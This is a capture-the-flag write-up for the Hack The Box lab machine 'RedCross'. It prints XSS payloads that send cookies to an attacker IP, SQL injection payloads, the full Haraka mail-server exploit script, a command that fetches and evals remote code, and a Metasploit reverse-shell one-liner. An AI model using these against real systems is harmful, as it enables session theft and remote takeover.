Writeup: Hack The Box - Machines - RedCross

Description

  • Name: RedCross
  • IP: 10.10.10.113
  • Author: ompamo
  • Difficulty: 6.4/10

Discovery

N.B.: nmap package on Archlinux has an old version of tls-alpn script that hangs during the scan; update it from the official repository to solve the issue (use d to increase the debug level).

nmap -sV -sC -Pn -p 1-65535 --min-rate 1000 --max-retries 5 10.10.10.113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
PORT    STATE SERVICE  REASON         VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0)
| ssh-hostkey:
| 2048 67:d3:85:f8:ee:b8:06:23:59:d7:75:8e:a2:37:d0:a6 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvHxBEHZStDr7Frfk25i6xP+UPJUeVxLxxjZ9M52P3RH3o9II26fOQkuVq0V9y+jAMzpOEPVOHm0KrD9T3R8rPUebJM8qPQfMjs4d7vefyHhCv0wJ1UlRcMv7wi3+8hJ3ATWXkeTnRHtloNrvN9IkII1zRApDM5qAKVZf7kLH8vppgAkK6XX0RfvEbiiIF4/4t9Swk0pqKazlBoxNmuBQ0ZBC09vlkbx4hJGR/7xQ18PJP/RoUNQgLFMeaGVq1c+/44w8G6G125w671x0NO9dvysiF1XAtRWvYuc6B0Y9RXdZ+Fl4UyPcBfnfjDS0uT6MF5LP4HYZwAq8UVkN6zaXD
| 256 89:b4:65:27:1f:93:72:1a:bc:e3:22:70:90:db:35:96 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD0fZY6OjH5EARn0aeiHLZb2aOe8knzx1q3pZSdXd9jHvpmRfuLhu7Pw+BLaQW0WJJ5ZNfIdSgx8epBblM6PBgk=
| 256 66:bd:a1:1c:32:74:32:e2:e6:64:e8:a5:25:1b:4d:67 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMWzieju6+BudzSxF+Zl5/b1kQZ+vJVlxmSfVeirE0K
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.25
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to https://intra.redcross.htb/
443/tcp open ssl/http syn-ack ttl 63 Apache httpd 2.4.25
| http-cisco-anyconnect:
|_ ERROR: Not a Cisco ASA or unsupported version
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /?page=login
| ssl-cert: Subject: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US/emailAddress=penelope@redcross.htb/organizationalUnitName=IT/localityName=New York
| Issuer: commonName=intra.redcross.htb/organizationName=Red Cross International/stateOrProvinceName=NY/countryName=US/emailAddress=penelope@redcross.htb/organizationalUnitName=IT/localityName=New York
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2018-06-03T19:46:58
| Not valid after: 2021-02-27T19:46:58
| MD5: f95b 6897 247d ca2f 3da7 6756 1046 16f1
| SHA-1: e86e e827 6ddd b483 7f86 c59b 2995 002c 77cc fcea
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service Info: Host: redcross.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

The server redirects all requests to the domain https://intra.redcross.htb so it must the added to /etc/hosts

10.10.10.113 intra.redcross.htb www.intra.redcross.htb

From gobuster, recursive and with filter for php,php5,txt,md,exe,html,bit,ps1,jpg,png,zip,asp,aspx,pdf,sql:

1
2
3
4
5
6
https://intra.redcross.htb/images (Status: 301)
https://intra.redcross.htb/pages (Status: 301)
https://intra.redcross.htb/documentation (Status: 301)
https://intra.redcross.htb/javascript (Status: 301)
https://intra.redcross.htb/server-status (Status: 403)
https://intra.redcross.htb/documentation/account-signup.pdf

Pwn

SQLi on login form have not been detected using sqlmap and XSS on contact form is not feasible:

Other tested payloads:

<script>document.write('<img src="https://10.10.XX.XX/collect.gif?cookie=');</script>

<script>document.location="https://10.10.XX.XX";</script>

<script>fetch("https://10.10.XX.XX");</script>

The PDF found using gobuster describes how to request access to the application using the contact form.

In response to the credentials request the page shows that a temporary access can be made using guest:guest.

Once logged in as guest a message from admin is displayed:

The cookies set show that other domain can be found but using wfuzz shows nothing.

Cookie: PHPSESSID=g7h0ksl2ntc8g6lol7t95jmf41; LANG=EN_US; SINCE=1546380874; LIMIT=10; DOMAIN=intra

The filter form is used to select messages from some uid users: https://intra.redcross.htb/?o=9&page=app. Running sqlmap on the URL cause a DoS so with Burp it’s possible to try some manual SQL injections.

Just using ' the parameter o cause a SQL error (the application shows debug PHP errors). The error says that a wrong character is used inside a like statement; inserting % is enough to prints all records for the query.

Cleaning up the response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Guest Account Info [1]
From: admin (uid 1) To: guest (uid 5)
You're granted with a low privilege access while we're processing your credentials request. Our messaging system still in beta status. Please report if you find any incidence.

Problems with order 02122128 [2]
From: tricia (uid 4) To: penelope (uid 2)
Hi Penny, can you check if is there any problem with the order? I'm not receiving it in our EDI platform.

Strange behavior [3]
From: admin (uid 1) To: charles (uid 3)
Please could you check the admin webpanel? idk what happens but when I'm checking the messages, alerts popping everywhere!! Maybe a virus?

Problems with order 02122128 [4]
From: penelope (uid 2) To: tricia (uid 4)
Hi, Please check now... Should be arrived in your systems. Please confirm me. Regards.

admin subd webapp problems [5]
From: charles (uid 3) To: penelope (uid 2)
Hey, my chief contacted me complaining about some problem in the admin webapp. I thought that you reinforced security on it... Alerts everywhere!!

admin subd webapp problems (priority) [6]
From: penelope (uid 2) To: charles (uid 3)
Hi, Yes it's strange because we applied some input filtering on the contact form. Let me check it. I'll take care of that since now! KR

STOP checking messages from intra (priority) [7]
From: penelope (uid 2) To: admin (uid 1)
Hi, Please stop checking messages from intra platform, it's possible that there is a vuln on your admin side...

STOP checking messages from intra (priority) [8]
From: admin (uid 1) To: penelope (uid 2)
Sorry but I can't do that. It's the only way we have to communicate with partners and we are overloaded. Doesn't look so bad... besides that what colud happen? Don't worry but fix it ASAP.

The contact form should be vulnerable to XSS but other tests were unsuccessful. Messages 5 and 7 can lead to another subdomain: admin (wfuzz showed nothing with this subdomain); adding the new subdomain to /etc/hosts a new webapp is accessible.

gobuster on the new subdomain:

1
2
3
4
5
6
https://admin.redcross.htb/index.php (Status: 302)
https://admin.redcross.htb/images (Status: 301)
https://admin.redcross.htb/pages (Status: 301)
https://admin.redcross.htb/javascript (Status: 301)
https://admin.redcross.htb/init.php (Status: 200)
https://admin.redcross.htb/phpmyadmin (Status: 301) (no creds)

The login form is not vulnerable to some basic SQL injection payloads and guest:guest is a valid login but Not enough privileges! are set and no LFI on ?page= parameter.

To improve the output and the effectiveness of the SQLi it’s possible to set sqlmap to wait some time between each request

sqlmap -r "intra.redcross.htb/?o=%&page=app" --random-agent --dbms=mysql --delay=1 --risk=3 --level=5 -p o,page

The above command will try to exploit the vulnerable request using all possible techniques on MySQL. After some time (a lot due to the delay) the scan is completed with success.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] heuristic (basic) test shows that GET parameter 'o' might be injectable (possible DBMS: 'MySQL')
[INFO] heuristic (XSS) test shows that GET parameter 'o' might be vulnerable to cross-site scripting (XSS) attacks
[INFO] testing for SQL injection on GET parameter 'o'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[WARNING] reflective value(s) found and filtering out
[INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'
[INFO] GET parameter 'o' appears to be 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)' injectable
[INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[INFO] GET parameter 'o' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable
[INFO] testing 'MySQL inline queries'
[INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[INFO] testing 'MySQL > 5.0.11 stacked queries'
[INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[INFO] testing 'MySQL >= 5.0.12 OR time-based blind'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)'
[INFO] testing 'MySQL >= 5.0.12 OR time-based blind (comment)'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] GET parameter 'o' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[INFO] target URL appears to be UNION injectable with 4 columns
[INFO] testing 'Generic UNION query (23) - 21 to 40 columns'
[INFO] testing 'Generic UNION query (23) - 41 to 60 columns'
[INFO] testing 'Generic UNION query (23) - 61 to 80 columns'
[INFO] testing 'Generic UNION query (23) - 81 to 100 columns'
[INFO] testing 'MySQL UNION query (23) - 1 to 20 columns'
[INFO] testing 'MySQL UNION query (23) - 21 to 40 columns'
[INFO] testing 'MySQL UNION query (23) - 41 to 60 columns'
[INFO] testing 'MySQL UNION query (23) - 61 to 80 columns'
[INFO] testing 'MySQL UNION query (23) - 81 to 100 columns'
sqlmap identified the following injection point(s) with a total of 566 HTTP(s) requests:
---
Parameter: o (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: o=%') AND 8092=(SELECT (CASE WHEN (8092=8092) THEN 8092 ELSE (SELECT 7956 UNION SELECT 3047) END))-- rEiR&page=app

Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: o=%') AND (SELECT 9821 FROM(SELECT COUNT(*),CONCAT(0x717a787671,(SELECT (ELT(9821=9821,1))),0x71627a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Tvej&page=app

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: o=%') AND (SELECT * FROM (SELECT(SLEEP(5)))jPkA)-- CCEh&page=app
---
[00:06:55] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0

Trying to retrieve the databases list sqlmap prints:

1
2
3
4
5
sqlmap -r sqli.txt --delay=2 --dbs --batch

available databases [2]:
[*] information_schema
[*] redcross

The redcross database contains three tables but only messages and users contain records; obviously the messages table is known from the previous dump. The current user used to access the database is dbcross.

1
2
3
4
5
6
7
Database: redcross
[3 tables]
+----------+
| messages |
| requests |
| users |
+----------+

The users table contains five users with a strong blowfish hash (-m 3200 for hashcat).

1
2
3
4
5
6
7
8
9
10
11
12
Database: redcross
Table: users
[5 entries]
+----+------+------------------------------+----------+--------------------------------------------------------------+
| id | role | mail | username | password |
+----+------+------------------------------+----------+--------------------------------------------------------------+
| 1 | 0 | admin@redcross.htb | admin | $2y$10$z/d5GiwZuFqjY1jRiKIPzuPXKt0SthLOyU438ajqRBtrb7ZADpwq. |
| 2 | 1 | penelope@redcross.htb | penelope | $2y$10$tY9Y955kyFB37GnW4xrC0.J.FzmkrQhxD..vKCQICvwOEgwfxqgAS |
| 3 | 1 | charles@redcross.htb | charles | $2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i |
| 4 | 100 | tricia.wanderloo@contoso.com | tricia | $2y$10$Dnv/b2ZBca2O4cp0fsBbjeQ/0HnhvJ7WrC/ZN3K7QKqTa9SSKP6r. |
| 5 | 1000 | non@available | guest | $2y$10$U16O2Ylt/uFtzlVbDIzJ8us9ts8f9ITWoPAWcUfK585sZue03YBAi |
+----+------+------------------------------+----------+--------------------------------------------------------------+

hashcat cracked some hash:

1
2
3
charles:cookiemonster
penelope:alexss
guest:guest

Logging in as charles on admin.redcross.htb shows the same error as for the guest user: Not enough privileges!. The passwords cookiemonster and alexss should be hints to Try Harder! with other payloads for XSS on the contact form.

Just targeting the cback parameter a XSS is found:

cback parameter, on the contact form, can be used to steal the user cookies.

JavaScript’s fetch method is not available because when using <img src="http://10.10.XX.XX/img" onerror="fetch('http://10.10.XX.XX/cc')"/> the cc request is not received; same as for document.location="http://10.10.XX.XX/test". Searching for other payloads a post used a Cookie Monster image with a JavaScript payload to request a remote image.

Link: https://www.lanmaster53.com/2011/05/13/stealth-cookie-stealing-new-xss-technique/

The payload is:

1
2
javascript: img = new Image();
img.src = "http://tools.lanmaster53.com/monster.php?cookie=" + document.cookie;

Using the tag for an embedded JavaScript in a HTML page the XSS is triggered:

1
2
3
<script>
var img=new Image();img.src="http://10.10.XX.XX/"+document.cookie;
</script>

With the PHPSESSID cookie set it’s possible to access the admin.redcross.htb admin panel.

The panel allows to add, remove users for the intra webapp and whitelist some IPs.

Running sqlmap on the adduser and firewall features shows that the requests are not vulnerable to SQLi.

With the CVE-2018-15473 it’s possible to check the presence of some users on the system and try to login with the found passwords.

Unfortunately no session is found. Since to allow or deny an IP address the server should execute some commands it’s possible to search a command injection in the firewall page.

It turns out that the deny function is vulnerable to command injection on the ip parameter.

With the Metasploit web delivery module it’s possible to get a meterpreter session.

Within the session a list of listening ports shows that the initial nmap scan was incomplete. For example ports 21,5432,1025 and 5355 are not displayed but are listening on the default interface.

Two processes can be abused to privesc from www-data to penelope or root:

1
2
penelope  1400  1.4  3.7 996648 38632 ?        Ssl  15:53   3:15 node /usr/bin/haraka -c /home/penelope/haraka
root 1665 0.0 1.1 39612 11316 ? Ss 15:53 0:04 /usr/bin/python2.7 /root/bin/redcrxss.py

Haraka is a mail server written in NodeJS and a known exploit allows to execute commands without authentication: https://www.exploit-db.com/exploits/41162. To check which one the new discovered ports is running Haraka it’s possible to use telnet to read the service banner.

The server is running on port 1025 (25 is the default mail port).
Using the public exploit it’s possible to tweak it and upload it the remote machine.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
import smtplib
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.utils import COMMASPACE, formatdate
from email.header import Header
from email.utils import formataddr
from email.mime.text import MIMEText
from datetime import datetime
import zipfile
import StringIO
import argparse
import sys

banner = u"""## ## ### ######## ### ## ## #### ######## ####
## ## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ## ## ## ##
######### ## ## ######## ## ## ##### ## ######## ##
## ## ######### ## ## ######### ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## #### ## ## ####

-o- by Xychix, 26 January 2017 ---
-o- xychix [at] hotmail.com ---
-o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) --

-i- info: https://github.com/haraka/Haraka/pull/1606 (the change that fixed this)
"""


def SendMail(to, mailserver, cmd, mfrom):
msg = MIMEMultipart()
html = "harakiri"
msg['Subject'] = "harakiri"
msg['From'] = mfrom
msg['To'] = to
f = "harakiri.zip"
msg.attach(MIMEText(html))
filename = "harakiri-%s.zip" % datetime.now().strftime("%Y%m%d-%H%M%S")
print(
"Send harariki to %s, attachment saved as %s, commandline: %s , mailserver %s is used for delivery"
% (to, filename, cmd, mailserver))
part = MIMEApplication(CreateZip(cmd, filename), Name="harakiri.zip")
part['Content-Disposition'] = 'attachment; filename="%s"' % "harakiri.zip"
msg.attach(part)
print msg.as_string()
s = smtplib.SMTP(mailserver, 1025)
try:
resp = s.sendmail(mfrom, to, msg.as_string())
except smtplib.SMTPDataError, err:
if err[0] == 450:
print(
"[HARAKIRI SUCCESS] SMTPDataError is most likely an error unzipping the archive, which is what we want [%s]"
% err[1])
return ()
print("smtpd response: %s No errors received" % (resp))
s.close()
return ()


class InMemoryZip(object):
def __init__(self):
self.in_memory_zip = StringIO.StringIO()

def append(self, filename_in_zip, file_contents):
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED,
False)
zf.writestr(filename_in_zip, file_contents)
for zfile in zf.filelist:
zfile.create_system = 0
return self

def read(self):
self.in_memory_zip.seek(0)
return self.in_memory_zip.read()

def writetofile(self, filename):
f = file(filename, "w")
f.write(self.read())
f.close()


def CreateZip(cmd="touch /tmp/harakiri", filename="harakiri.zip"):
z1 = InMemoryZip()
z2 = InMemoryZip()
z2.append("harakiri.txt", banner)
z1.append("a\";%s;echo \"a.zip" % cmd, z2.read())
z1.writetofile(filename)
return (z1.read())


if __name__ == '__main__':
print(banner)
parser = argparse.ArgumentParser(description='Harakiri')
parser.add_argument('-c', '--cmd', help='command to run', required=True)
parser.add_argument(
'-t',
'--to',
help='victim email, mx record must point to vulnerable server',
default="info@redcross.htb",
required=False)
parser.add_argument(
'-m',
'--mailserver',
help=
'mailserver to talk to, you can consider putting the vuln server here if the mx records aren\'t correct',
default="localhost",
required=False)
parser.add_argument(
'-f',
'--from',
help='optional: From email address',
required=False,
default="penelope@redcross.htb")
args = vars(parser.parse_args())
SendMail(args['to'], args['mailserver'], args['cmd'], args['from'])

To execute it run python2 ./harakaex.py -c 'php -d allow_url_fopen=true -r "eval(file_get_contents('"'"'http://10.10.XX.XX:8080/dodometer'"'"'));"'; the exploit will use the same web_delivery script to open a new session as penelope:

The firewall functionality of the admin panel is used to whitelist or block an IP address to access the extra ports founds using ss. Adding the local IP to the whitelist a new nmap scan shows:

1
2
3
4
5
6
7
8
9
10
11
12
21/tcp   open  ftp         syn-ack ttl 63 vsftpd 2.0.8 or later
1025/tcp open NFS-or-IIS? syn-ack ttl 63
5432/tcp open postgresql syn-ack ttl 63 PostgreSQL DB 9.6.0 or later
| fingerprint-strings:
| SMBProgNeg:
| SFATAL
| VFATAL
| C0A000
| Munsupported frontend protocol 65363.19778: server supports 1.0 to 3.0
| Fpostmaster.c
| L2030
|_ RProcessStartupPacket

Now haraka is open and exploitable from Metasploit exploit/linux/smtp/haraka:

Metasploit one-liner (local IP must be whitelisted):

1
msfconsole -x "use exploit/linux/smtp/haraka; set LPORT 3488; set LHOST $(ip addr show tun0 | grep -Po "inet \K[\d.]+"); set SRVHOST $(ip addr show tun0 | grep -Po "inet \K[\d.]+"); set payload linux/x64/meterpreter/reverse_tcp; set rhost 10.10.10.113; set rport 1025; set email_from info@redcross.htb; set email_to penelope@redcross.htb; run -j"

In addition the adduser feature is used to enable a jail session/shell for the created user. That’s why from the SSH enumeration some users are marked as valid but they are not in the system passwd file.

The session is spawned in the system folder /var/jail/. The path contains also the source code for the tool used to interact with iptables to ban or enable an IP address from the admin console.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
/*
* Small utility to manage iptables, easily executable from admin.redcross.htb
* v0.1 - allow and restrict mode
* v0.3 - added check method and interactive mode (still testing!)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <unistd.h>
#define BUFFSIZE 360

int isValidIpAddress(char *ipAddress)
{
struct sockaddr_in sa;
int result = inet_pton(AF_INET, ipAddress, &(sa.sin_addr));
return result != 0;
}

int isValidAction(char *action){
int a=0;
char value[10];
strncpy(value,action,9);
if(strstr(value,"allow")) a=1;
if(strstr(value,"restrict")) a=2;
if(strstr(value,"show")) a=3;
return a;
}

void cmdAR(char **a, char *action, char *ip){
a[0]="/sbin/iptables";
a[1]=action;
a[2]="INPUT";
a[3]="-p";
a[4]="all";
a[5]="-s";
a[6]=ip;
a[7]="-j";
a[8]="ACCEPT";
a[9]=NULL;
return;
}

void cmdShow(char **a){
a[0]="/sbin/iptables" ;
a[1]="-L";
a[2]="INPUT";
return;
}

void interactive(char *ip, char *action, char *name){
char inputAddress[16];
char inputAction[10];
printf("Entering interactive mode\n");
printf("Action(allow|restrict|show): ");
fgets(inputAction,BUFFSIZE,stdin);
fflush(stdin);
printf("IP address: ");
fgets(inputAddress,BUFFSIZE,stdin);
fflush(stdin);
inputAddress[strlen(inputAddress)-1] = 0;
if(! isValidAction(inputAction) || ! isValidIpAddress(inputAddress)){
printf("Usage: %s allow|restrict|show IP\n", name);
exit(0);
}
strcpy(ip, inputAddress);
strcpy(action, inputAction);
return;
}

int main(int argc, char *argv[]){
int isAction=0;
int isIPAddr=0;
pid_t child_pid;
char inputAction[10];
char inputAddress[16];
char *args[10];
char buffer[200];

if(argc!=3 && argc!=2){
printf("Usage: %s allow|restrict|show IP_ADDR\n", argv[0]);
exit(0);
}
if(argc==2){
if(strstr(argv[1],"-i")) interactive(inputAddress, inputAction, argv[0]);
}
else{
strcpy(inputAction, argv[1]);
strcpy(inputAddress, argv[2]);
}
isAction=isValidAction(inputAction);
isIPAddr=isValidIpAddress(inputAddress);
if(!isAction || !isIPAddr){
printf("Usage: %s allow|restrict|show IP\n", argv[0]);
exit(0);
}
puts("DEBUG: All checks passed... Executing iptables");
if(isAction==1) cmdAR(args,"-A",inputAddress);
if(isAction==2) cmdAR(args,"-D",inputAddress);
if(isAction==3) cmdShow(args);

child_pid=fork();
if(child_pid==0){
setuid(0);
execvp(args[0],args);
exit(0);
}
else{
if(isAction==1) printf("Network access granted to %s\n",inputAddress);
if(isAction==2) printf("Network access restricted to %s\n",inputAddress);
if(isAction==3) puts("ERR: Function not available!\n");
}
}

The compiled binary is in /opt/iptctl owned by root with the SUID bit set. The binary is compiled without canaries or stack protection and it’s stripped and do not use any input sanitization method (strcpy and fgets to copy unbuffered data inside an array).

The same binary is runnable from the admin panel using the command injection.

The code that triggers the RCE is (/var/www/html/admin/pages/actions.php):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
if($action==='Allow IP'){
header('refresh:1;url=/?page=firewall');
$ip=$_POST['ip'];
$valid = ip2long($ip) !== false;
if(!$valid){
echo "ERR: Invalid IP Address format";
exit;
}
$dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&");
$result = pg_prepare($dbconn, "q1", "SELECT * FROM ipgrants WHERE address = $1");
$result = pg_execute($dbconn, "q1", array($ip));
if(pg_num_rows($result)===0){
$res = pg_prepare($dbconn, "q2", "INSERT INTO ipgrants ( uid, address ) VALUES ( $1, $2)");
$res = pg_execute($dbconn, "q2", array($_SESSION['userid'], $ip));
echo system("/opt/iptctl/iptctl allow ".$ip);
}

}
if($action==='deny'){
header('refresh:1;url=/?page=firewall');
$id=$_POST['id'];
$ip=$_POST['ip'];
$dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&");
$result = pg_prepare($dbconn, "q1", "DELETE FROM ipgrants WHERE id = $1");
$result = pg_execute($dbconn, "q1", array($id));
echo system("/opt/iptctl/iptctl restrict ".$ip);
}
if($action==='adduser'){
$username=$_POST['username'];
$passw=generateRandomString();
$phash=crypt($passw);
$dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&");
$result = pg_prepare($dbconn, "q1", "insert into passwd_table (username, passwd, gid, homedir) values ($1, $2, 1001, '/var/jail/home')");
$result = pg_execute($dbconn, "q1", array($username, $phash));
echo "Provide this credentials to the user:<br><br>";
echo "<b>$username : $passw</b><br><br><a href=/?page=users>Continue</a>";
}
if($action==='del'){
header('refresh:1;url=/?page=users');
$uid=$_POST['uid'];
$dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&");
$result = pg_prepare($dbconn, "q1", "delete from passwd_table where uid = $1");
$result = pg_execute($dbconn, "q1", array($uid));
echo "User account deleted";
}

So the binary can be exploited to get a root session but from the same above file the adduser inserts all user informations inside a PostgreSQL server with also data about gid and passwd. The PostgreSQL do not allows connection from the local ip even though the port is open.

The adduser should control how the created user can access the system through the Jail session. Exploiting this setting can let an attacker spawn a root shell from SSH (or FTP).

From the webapp source code it’s possible to read all database credentials:

1
2
3
4
5
6
$dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixnss password=fios@ew023xnw");
$dbconn = pg_connect("host=127.0.0.1 dbname=redcross user=www password=aXwrtUO9_aa&");
$dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&");
$dbuser='dbcross';
$dbpass='LOSPxnme4f5pH5wp';
$dbname='redcross';

The dbcross can also be used to access the database using phpMyAdmin: https://admin.redcross.htb/phpmyadmin/.

Inside the meterpreter session (penelope) the PostgreSQL can be reached using psql.

To avoid prompting for the password use: PGPASSWORD='dheu%7wjx8B&' psql -h localhost -U unixusrmgr unix. User unixusrmgr can read/edit only the table passwd_table. This table contains all data for each temp user added through the adduser feature.

After checking in /etc/passwd and /etc/group the correct values for the user root it’s possible to create an insert query:

insert into passwd_table(username,passwd,uid,gid,gecos,homedir,shell) values ('dodo','$1$t456HBXs$I0apJsI.YPdxdNB34FcIk/',0,0,'','/root','/bin/bash');

But some values cannot be added from this PostgreSQL user. A shorter query is then accepted without the uid parameter.

insert into passwd_table(username,passwd,gid,homedir) values ('dodo','$1$t456HBXs$I0apJsI.YPdxdNB34FcIk/',0,'/root');

SSH can now be used to access the newly created user with dodo:dodo:

The user can’t read the flag because the uid is not 0 (root) but 2042 (dodo) but the group is correct the root user. Even sudo is not available since the user dodo is not in the sudo group. In /etc/group the sudo group has gid=27(sudo).

An update the passwd_table to change the gid from 0 to 27 allows the user dodo to use sudo to become root and read the flag.

root_alt (PhantomJS)

In the /root/bin/redcrxss.py directory there is also the Python script used to simulate the execution of the XSS:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python2.7
import mysql.connector
import urllib
import random
import string
import time
import os

url="https://admin.redcross.htb/9a7d3e2c3ffb452b2e40784f77723938/573ba8e9bfd0abd3d69d8395db582a9e.php?"

def launchXSS(xss):
randomname=''.join(random.choice(string.ascii_uppercase+string.ascii_lowercase+string.digits) for _ in range(8))
temppath="/root/bin/tmp/"
fn=temppath+randomname+'.js'
phantom="/usr/local/bin/phantomjs"
phjs ='"use strict";\n'
phjs+="var page = require('webpage').create();\n"
phjs+="page.open('"+xss+"', function(status) {\n"
phjs+=' console.log("Status: " + status);\n'
phjs+=' if(status === "success") {\n'
phjs+=" page.render('/tmp/example.png');\n"
phjs+=" }\n"
phjs+=" phantom.exit();\n"
phjs+="});\n"

f=open(fn,'wb')
f.write(phjs)
f.close()
command=phantom+" --ignore-ssl-errors=true "+fn
print command
os.system(command)
os.remove(fn)

while 1:
cnx = mysql.connector.connect(user='dbcross', password='LOSPxnme4f5pH5wp', host='127.0.0.1', database='redcross')
cursor = cnx.cursor(dictionary=True)
query = ("SELECT id, subject, body, cback FROM requests")
cursor.execute(query)
res=cursor.fetchall()
if(len(res)>0):
for r in res:
rid=r['id']
xss=urllib.urlencode({'x':r['cback']})
query = ("DELETE FROM requests WHERE id = %s")
cursor.execute(query,(rid,))
cnx.commit()
payload=url+xss
launchXSS(payload)
cnx.close()
else:
print "Sleeping 10 secs..."
time.sleep(10)

Example of running process:

